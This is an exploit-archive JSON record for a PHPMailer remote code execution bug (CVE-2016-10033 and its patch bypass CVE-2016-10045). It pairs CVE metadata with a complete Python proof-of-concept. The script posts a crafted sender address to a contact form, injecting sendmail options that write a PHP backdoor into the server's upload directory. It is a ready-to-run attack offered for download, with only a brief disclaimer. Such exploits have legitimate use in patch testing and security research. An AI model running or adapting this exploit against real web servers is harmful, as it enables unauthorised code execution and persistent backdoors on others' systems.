{"exploit":{"id":"EDB-40969","name":"PHPMailer < 5.2.20 - Remote Code Execution (RCE)","description":"PHPMailer < 5.2.20 - Remote Code Execution (RCE)","cves":["CVE-2016-10045","CVE-2016-10033"],"author":"Dawid Golunski","published":"2016-12-27","platform":"php","type":"webapps","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/40969","path":"exploits/php/webapps/40969.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-40969.py","vulnerabilities":[{"id":"CVE-2016-10045","state":"PUBLISHED","title":null,"titleSource":null,"description":"The isMail transport in PHPMailer before 5.2.20 might allow remote attackers to pass extra parameters to the mail command and consequently execute arbitrary code by leveraging improper interaction between the escapeshellarg function and internal escaping performed in the mail function in PHP. NOTE: this vulnerability exists because of an incorrect fix for CVE-2016-10033.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2016-10045","cvss":{"version":"3.1","baseScore":9.8,"severity":"critical","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2016-10045"},"updatedAt":"2024-08-06T03:07:32.139Z","retrievedAt":"2026-11-26T18:07:50.080Z","stale":false,"error":null},{"id":"CVE-2016-10033","state":"PUBLISHED","title":null,"titleSource":null,"description":"The mailSend function in the isMail transport in PHPMailer before 5.2.18 might allow remote attackers to pass extra parameters to the mail command and consequently execute arbitrary code via a \\\" (backslash double quote) in a crafted Sender property.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2016-10033","cvss":{"version":"3.1","baseScore":9.8,"severity":"critical","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","source":"CISA-ADP","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2016-10033"},"updatedAt":"2025-10-21T23:55:47.202Z","retrievedAt":"2026-11-26T17:03:42.200Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-40969.png?v=2","url":"https://exploitbin.com/exploits/EDB-40969","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-40969/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-40969/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/python\n\nintro = \"\"\"\nPHPMailer RCE PoC Exploits\n\nPHPMailer < 5.2.18 Remote Code Execution PoC Exploit (CVE-2016-10033)\n+\nPHPMailer < 5.2.20 Remote Code Execution PoC Exploit (CVE-2016-10045)\n(the bypass of the first patch for CVE-2016-10033)\n\nDiscovered and Coded by:\n\n Dawid Golunski\n @dawid_golunski\n https://legalhackers.com\n\n\"\"\"\nusage = \"\"\"\nUsage:\n\nFull Advisory:\nhttps://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html\n\nhttps://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10045-Vuln-Patch-Bypass.html\n\nPoC Video:\nhttps://legalhackers.com/videos/PHPMailer-Exploit-Remote-Code-Exec-Vuln-CVE-2016-10033-PoC.html\n\nDisclaimer:\nFor testing purposes only. Do no harm.\n\n\"\"\"\n\nimport time\nimport urllib\nimport urllib2\nimport socket\nimport sys\n\nRW_DIR = \"/var/www/html/uploads\"\n\nurl = 'http://VictimWebServer/contact_form.php' # Set destination URL here\n\n# Choose/uncomment one of the payloads:\n\n# PHPMailer < 5.2.18 Remote Code Execution PoC Exploit (CVE-2016-10033)\n#payload = '\"attacker\\\\\" -oQ/tmp/ -X%s/phpcode.php  some\"@email.com' % RW_DIR\n\n# Bypass / PHPMailer < 5.2.20 Remote Code Execution PoC Exploit (CVE-2016-10045)\npayload = \"\\\"attacker\\\\' -oQ/tmp/ -X%s/phpcode.php  some\\\"@email.com\" % RW_DIR\n\n######################################\n\n# PHP code to be saved into the backdoor php file on the target in RW_DIR\nRCE_PHP_CODE = \"<?php phpinfo(); ?>\"\n\npost_fields = {'action': 'send', 'name': 'Jas Fasola', 'email': payload, 'msg': RCE_PHP_CODE}\n\n# Attack\ndata = urllib.urlencode(post_fields)\nreq = urllib2.Request(url, data)\nresponse = urllib2.urlopen(req)\nthe_page = response.read()","sha256":"fea1cf35a4e1c740303ef05b6cc152aa7d744e334fb017ab21c8e856bc17a798","bytes":1664,"fetchedAt":"2026-11-26T18:07:47.363Z","encoding":"utf-8 (display only; download retains original bytes)"}